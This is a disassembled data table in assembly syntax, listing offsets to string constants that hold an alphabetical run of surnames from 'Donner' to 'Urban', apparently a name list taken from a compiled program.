		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
